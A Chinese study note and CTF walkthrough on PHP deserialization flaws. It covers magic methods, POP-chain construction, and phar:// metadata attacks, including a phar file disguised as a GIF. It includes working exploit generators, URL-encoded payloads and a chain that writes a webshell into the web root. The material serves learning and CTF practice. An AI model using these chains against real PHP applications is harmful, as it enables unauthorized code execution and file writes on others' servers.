反序列化漏洞学习笔记+靶场实战

反序列化漏洞相关知识点:

(引自 i春秋网络安全学院文章)

什么是反序列化:

摘自维基百科:序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。

概念很容易理解,其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

序列化根据编程语言的不同分为:php反序列化,Java反序列化,python反序列化。

在php应用中,序列化和反序列化一般用做缓存,比如seesion缓存,cookie等。

  • 序列化与反序列化与两个函数有关,分别是 serialize()unserialize() 这两个函数。
  • 一般常用于传递 object ,object对象没法直接传值,所以需要先序列化为一段 字符串,接收方接收到后进行反序列化操作后即可得到原object对象。
  • 当序列化对象时,PHP将试图在序列动作之前调用该对象的成员函数 \sleep() ,这就允许对象在被序列化之前 做任何清除操作。类似的,当使用 unserialize() 恢复对象之前,将调用 __wakeup() 成员函数
  • 反序列化函数unserialize()接收一个string类型的变量,该值为已序列化后的字符串。
  • 若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP会自动地试图去调用 __wakeup() 成员函数 (如果存在的话)。

常见的序列化格式:

  • 二进制

  • 字节数组

  • json字符串

  • xml字符串

    序列化的字符串参数理解:

    PHP序列化与反序列化

    实现函数:string serialize()mixed unserialize()

    我们这里创建了一个对象,并通过serialize序列化后进行了打印;

    魔术函数(Magic fucntion)

    PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的。

    导致php出现反序列化漏洞的主要原因就是我们所调用的魔术函数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    __wakeup() //使用unserialize时触发
    __sleep() //使用serialize时触发
    __destruct() //对象被销毁时触发
    __call() //在对象上下文中调用不可访问的方法时触发
    __callStatic() //在静态上下文中调用不可访问的方法时触发
    __get() //用于从不可访问的属性读取数据
    __set() //用于将数据写入不可访问的属性
    __isset() //在不可访问的属性上调用isset()或empty()触发
    __unset() //在不可访问的属性上使用unset()时触发
    __toString() //把类当作字符串使用时触发
    __invoke() //当脚本尝试将对象调用为函数时触发

    利用代码测试魔术环境:

运行发现php文件发现

_wakeup()会在unserialize()自动调用, _destruct会在对象销毁时自动调用

图片.png

php反序列化漏洞

漏洞成因:

PHP反序列化漏洞又称PHP对象注入,可能导致远程代码执行(RCE),主要原因是程序的输入不当导致。

漏洞产生的必要条件:

1.unserialize函数的变量可控。(还可以结合Phar://协议)

2.php文件中存在可利用的类,类中有魔术方法。

示例1

我们在本地网站新建demo.php

我们可以尝试构造一个对象,控制$test的值,达到控制数据流的目的,实现反序列化漏洞的利用

在url中填入序列化好的攻击代码,即可利用成功

示例2:

我们在本地搭建环境后,新建class.php

我们通过控制序列化字符串在本地新建一个shell.php进而打开phpinfo界面;在调用unserialize()时会通过__wakeup()把$test的写入到shell.php中。

效果如下:

示例3:(多次调用魔术函数)

我们给test传入构造好的序列化字符串后,进行反序列化时自动调用wakeup()函数,从而在new joker()会自动调用对象joker中的construct()方法,从而把写入到shell.php中:

PHP反序列化pop链构造

POP:面向属性编程

​ 面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

基本概念:

​ 在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。

POP CHAIN:

​ 把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

通俗点就是:反序列化中,如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Smi1e
{
protected $ClassObj;
function __construct() {
$this->ClassObj = new safe();
}
function __destruct() {
$this->ClassObj->action();
}
}

class safe
{
function action() {
echo "Here is safe";
}
}

class unsafe
{
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['test']);

构造POP链。
protected $ClassObj = new evil();是不行的,还是要通过__construct来实例化。
受保护成员变量含有\0*需要URL编码一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
class Smi1e
{
protected $ClassObj;
function __construct()
{
$this->ClassObj = new unsafe();
}
}

class unsafe
{
private $data="phpinfo();";
}
echo serialize(new Smi1e());
?>

payload:test=O%3A5%3A%22Smi1e%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

图片.png

phpggc:

收集了一些常见的PHP框架的通用反序列化的小工具链

https://github.com/ambionics/phpggc

使用方法参考此文章:

从0到1掌握反序列化工具之PHPGGC

构造pop链

首先,如果想要利用php的反序列化漏洞一般需要两个条件:

  1. unserialize()函数参数可控。(还可以结合Phar://协议)
  2. 魔法方法和危险函数。

这两个条件都是不言而喻的,反序列化漏洞就是反序列化后魔法方法的执行,导致了魔法方法中的危险函数被执行。

可是我们常常会发现想要利用的危险函数并不在存在有魔法方法的类中,而此时就是要构造POP链,让没有关系的类扯上关系。

例子

lemon师傅的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
?php
class lemon {
protected $ClassObj;

function __construct() {
$this->ClassObj = new normal();
}

function __destruct() {
$this->ClassObj->action();
}
}

class normal {
function action() {
echo "hello";
}
}

class evil {
private $data;
function action() {
eval($this->data);
}
}

unserialize($_GET['d']);

可以看到,我们先在evil类中找到了eval危险函数,在lemon类中找到了可以利用的魔法方法destruct(),怎么利用它俩呢?首先,虽然\destruct()执行的是normal类的action,但是我们可以看到evil类也有action函数,且eval函数也在evil类的action方法中。

我们都知道,construct()函数是在类刚创建时执行的,这意味着即使我们将normal类替换成evil类叶柄不会影响后面的代码,而我们希望在\destruct中执行的action就变成了evil中的action。

生成序列化数据:

1
2
3
4
5
6
7
8
9
10
11
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));

我们再看一个例子(2019安恒杯1月赛):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php  
@error_reporting(1);
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}

class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}

class sec
{
function read()
{
return "it's so sec~~";
}
}

if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}
?>

这道题其实和上面一题差不多,也是在baby类中的__toString()魔法方法中借用cool类的read()函数读取文件。

其中这道题还有以下的限制代码

1
2
3
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)

$sth我们并不知道值,但如果我们事先将bbb的指针指向aaa,那么就一定可以成功了。

1
2
3
$a = new baby();
$a->bbb = &$a->aaa;
echo urlencode(serialize($a));
复杂一点的例子

还是lemon师傅博客中的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}
function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
$this->format = $format;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
protected $url;
function __construct($name, $group, $url) {
$this->name = $name;
$this->group = $group;
$this->url = $url;
$fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "<i>\\1</i>");
$this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
}
function __toString() {
return "<a href='" . $this->url . "'><i>" . $this->name . "</i></a> by " . $this->group;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
function get_name() {
return $this->name;
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
function shortForm() {
return "<p><a href='song.php?name=" . urlencode($this->song->get_name()) . "'>" . $this->song->get_name() . "</a></p>";
}
function name_is($name) {
return $this->song->get_name() === $name;
}
};

class User {
static function addLyrics($lyrics) {
$oldlyrics = array();
if (isset($_COOKIE['lyrics'])) {
$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
}
foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
setcookie('lyrics', base64_encode(serialize($oldlyrics)));
}
static function getLyrics() {
if (isset($_COOKIE['lyrics'])) {
return unserialize(base64_decode($_COOKIE['lyrics']));
}
else {
setcookie('lyrics', base64_encode(serialize(array(1, 2))));
return array(1, 2);
}
}
};

class Porter {
static function exportData($lyrics) {
return base64_encode(serialize($lyrics));
}
static function importData($lyrics) {
return serialize(base64_decode($lyrics));
}
};

class Conn {
protected $conn;
function __construct($dbuser, $dbpass, $db) {
$this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db);
}

function getLyrics($lyrics) {
$r = array();
foreach ($lyrics as $lyric) {
$s = intval($lyric);
$result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s");
while (($row = $result->fetch_row()) != NULL) {
$r []= unserialize(base64_decode($row[0]));
}
}
return $r;
}

function addLyrics($lyrics) {
$ids = array();
foreach ($lyrics as $lyric) {
$this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")");
$res = $this->conn->query("SELECT MAX(id) FROM lyrics");
$id= $res->fetch_row(); $ids[]= intval($id[0]);
}
echo var_dump($ids);
return $ids;
}

function __destruct() {
$this->conn->close();
$this->conn = NULL;
}
};

代码这么长啊,放心,通常都会有很多用不到的类,而且一步步的回溯都不困难。

首先我们先找到能利用的危险函数

  • LogWriter_File类中的file_put_contents函数,可以用来写木马。
  • OutputFilter类中,由于preg_replace函数pattern可控,如果在php版本不高于5.5的情况下可以执行命令。

好,这里我就只分析file_put_contents函数写木马的POP链怎么构造。

​ 找到了危险函数就要找可以利用的魔法方法啦,每一个类的魔法方法都一个个的跟踪的话我感觉比较麻烦,我比较喜欢通过危险函数一步步的追溯到可以利用的魔法方法。

​ 首先,file_put_contents函数是在LogWriter_File类的WriteLog方法中的,搜索在Logger类的log方法中执行了WriteLog方法,搜索发现在Song类的log函数执行了Logger类的log方法。最后,在Lyrics类的__destruct魔法方法中执行了Song类的log函数。

​ 理清楚了这个链条,那么我们下一步就是构造反序列化数据并想办法把我们要写的木马内容和地址放在里面,而这个链条的所有类我们只需要考虑相关的类方法,在链条中不存在类方法可以直接注释掉。值得注意的是,这意味着下面的好几个类没有用了。

​ 先把用不到的类和部分类没有用到的方法(没有用到的方法是不用分析的,包括没用的属性)。并且,要知道这些类的__construct()方法仅仅作用在于帮我们构造,如果它们里面存在限制的话我们完全可以删掉。

​ 就比如Song类,其实我们只用到了log函数,再加上__construct方法帮我们构造,其他的函数大可删掉。log()函数用到了$name$group属性,再加上构造POP链的$logger,剩下$url参数完全可以删掉。精简如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}

function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->format = $format;
$this->filename = $filename;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
function __construct($name, $group, $logger) {
$this->name = $name;
$this->group = $group;
$this->logger = $logger;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
};

​ 到了最后的构造时间,从危险函数开始构造。

​ 首先,file_put_contents函数是在LogWriter_File类的WriteLog方法中的,LogWriter_File类的第一个参数是写入文件的文件名,第二个是LogFileFormat类实例(可以看到,第二个参数返回的是被过滤的写入文件的内容)。LogFileFormat类第一个参数是OutputFilter类实例,第二个是替换’\n’的字符。OutputFilter类第一个参数是pattern,第二个是替换对象,为了不过滤OutputFilter两个参数设置一样的。

1
2
3
$outputfilter = new OutputFilter("", "");
$logfileformat = new LogFileFormat($outputfilter, "\n");
$log_write_file = new LogWriter_File('../../../../var/www/html/webshell.php', $logfileformat);

​ 以上再顺便把shell地址改到web目录。

​ 接下来是Logger类用到了LogWriter_File类,只有一个参数正好是LogWrite_Fiel类。

1
$logger = new Logger($log_write_file);

接下来是Song类调用了Logger的log方法,参数便为WriteLog的参数,即为写入文件的内容。最后套如$Lyrics类中。

1
2
$song = new Song('JrXnm','<?php phpinfo() ?> ', $logger);
$lyrics = new Lyrics('JrXnm',$song);

最后整体的payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<?php

class OutputFilter {
protected $matchPattern;
protected $replacement;
function __construct($pattern, $repl) {
$this->matchPattern = $pattern;
$this->replacement = $repl;
}
function filter($data) {
return preg_replace($this->matchPattern, $this->replacement, $data);
}
};

class LogFileFormat {
protected $filters;
protected $endl;
function __construct($filters, $endl) {
$this->filters = $filters;
$this->endl = $endl;
}

function format($txt) {
foreach ($this->filters as $filter) {
$txt = $filter->filter($txt);
}
$txt = str_replace('\n', $this->endl, $txt);
return $txt;
}
};

class LogWriter_File {
protected $filename;
protected $format;
function __construct($filename, $format) {
$this->format = $format;
$this->filename = $filename;
}
function writeLog($txt) {
$txt = $this->format->format($txt);
//TODO: Modify the address here, and delete this TODO.
file_put_contents("/var/log/" . $this->filename, $txt, FILE_APPEND);
}
};

class Logger {
protected $logwriter;
function __construct($writer) {
$this->logwriter = $writer;
}
function log($txt) {
$this->logwriter->writeLog($txt);
}
};

class Song {
protected $logger;
protected $name;
protected $group;
function __construct($name, $group, $logger) {
$this->name = $name;
$this->group = $group;
$this->logger = $logger;
}
function log() {
$this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
}
}

class Lyrics {
protected $lyrics;
protected $song;
function __construct($lyrics, $song) {
$this->song = $song;
$this->lyrics = $lyrics;
}
function __toString() {
return "<p>" . $this->song->__toString() . "</p><p>" . str_replace("\n", "<br />", $this->lyrics) . "</p>\n";
}
function __destruct() {
$this->song->log();
}
};
$outputfilter = new OutputFilter("", "");
$logfileformat = new LogFileFormat($outputfilter, "\n");
$log_write_file = new LogWriter_File('../../../../var/www/html/webshell.php', $logfileformat);

$logger = new Logger($log_write_file);

$song = new Song('JrXnm','<?php phpinfo() ?> ', $logger);
$lyrics = new Lyrics('JrXnm',$song);

echo urlencode(serialize($lyrics));

构造pop链的文章还可以参考:

PHP反序列化入门之寻找POP链(一)

PHP反序列化入门之寻找POP链(二)

PHP反序列化入门之寻找POP链(三)

反序列化配合phar://协议

简介

通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件结构
a stub

可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
图片.png

the file contents

被压缩文件的内容。

[optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾,格式如下:
图片.png

Demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar_gen.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以明显的看到meta-data是以序列化的形式存储的:
图片.png
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
图片.png
通过一个小demo证明一下
phar_test1.php

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

图片.png
其他函数当然也是可行的,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

图片.png
将后缀改为gif进行测试

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.gif/test.txt';
file_get_contents($filename);
?>

图片.png
采用这种方法可以绕过很大一部分上传检测。

利用条件
  • phar文件要能够上传到服务器端。
  • 如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为”跳板”。
  • 文件操作函数的参数可控,且: / phar等特殊字符没有被过滤。
漏洞验证

upload_file.php后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

upload_file.html

1
2
3
4
5
6
<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

file_un.php存在file_exists(),并且存在__destruct()

1
2
3
4
5
6
7
8
9
10
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

根据file_un.php写一个生成phar的php文件,在文件头加上GIF89a绕过gif,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造eval.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class AnyClass{
var $output = ;
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

访问eval.php生成phar.phar,将后缀改为gif。
图片.png
然后上传到目录下与file_un.php同目录,利用file_un.php中的危险函数getshell
payload:file_un.php?filename=phar://phar.gif/test
图片.png

靶场相关题目

攻防世界(unserialize3)

题目来源:攻防世界 web进阶区

代码审计可知我们需要绕过__wakeup()函数。

我们首先根据题目源码构造序列化代码。

这里利用到了一个 __wakeup()函数的漏洞(CVE-2016-7124)。

一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数,可以用来绕过;

得到的序列化字符串为:O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}

括号前的数字即为属性值,所以将其修改后传入url中即可获得flag。

Bugku CTF (php伪协议&反序列化)

首先我们根据源码提示,利用php伪协议得到反序列化相关代码。

这里看到了__string魔术方法:作用为将flag类作为字符串执行时会自动执行此函数。

在index.php又发现了关键函数unserialize();正则匹配函数preg_match对flag进行了匹配。

由于过滤不能通过文件包含的方式读取flag。但是我们可以自由的传入password的值。

所以我们就可以构造序列化对象:变量file=flag.php,传给password

构造payload:

1
?txt=php://input&file=hint.php&passwordO:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

即可得到flag.

参考文章:

https://blog.szfszf.top/article/24/

https://www.smi1e.top/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E5%87%BB%E6%8B%93%E5%B1%95/

https://www.freebuf.com/column/154530.html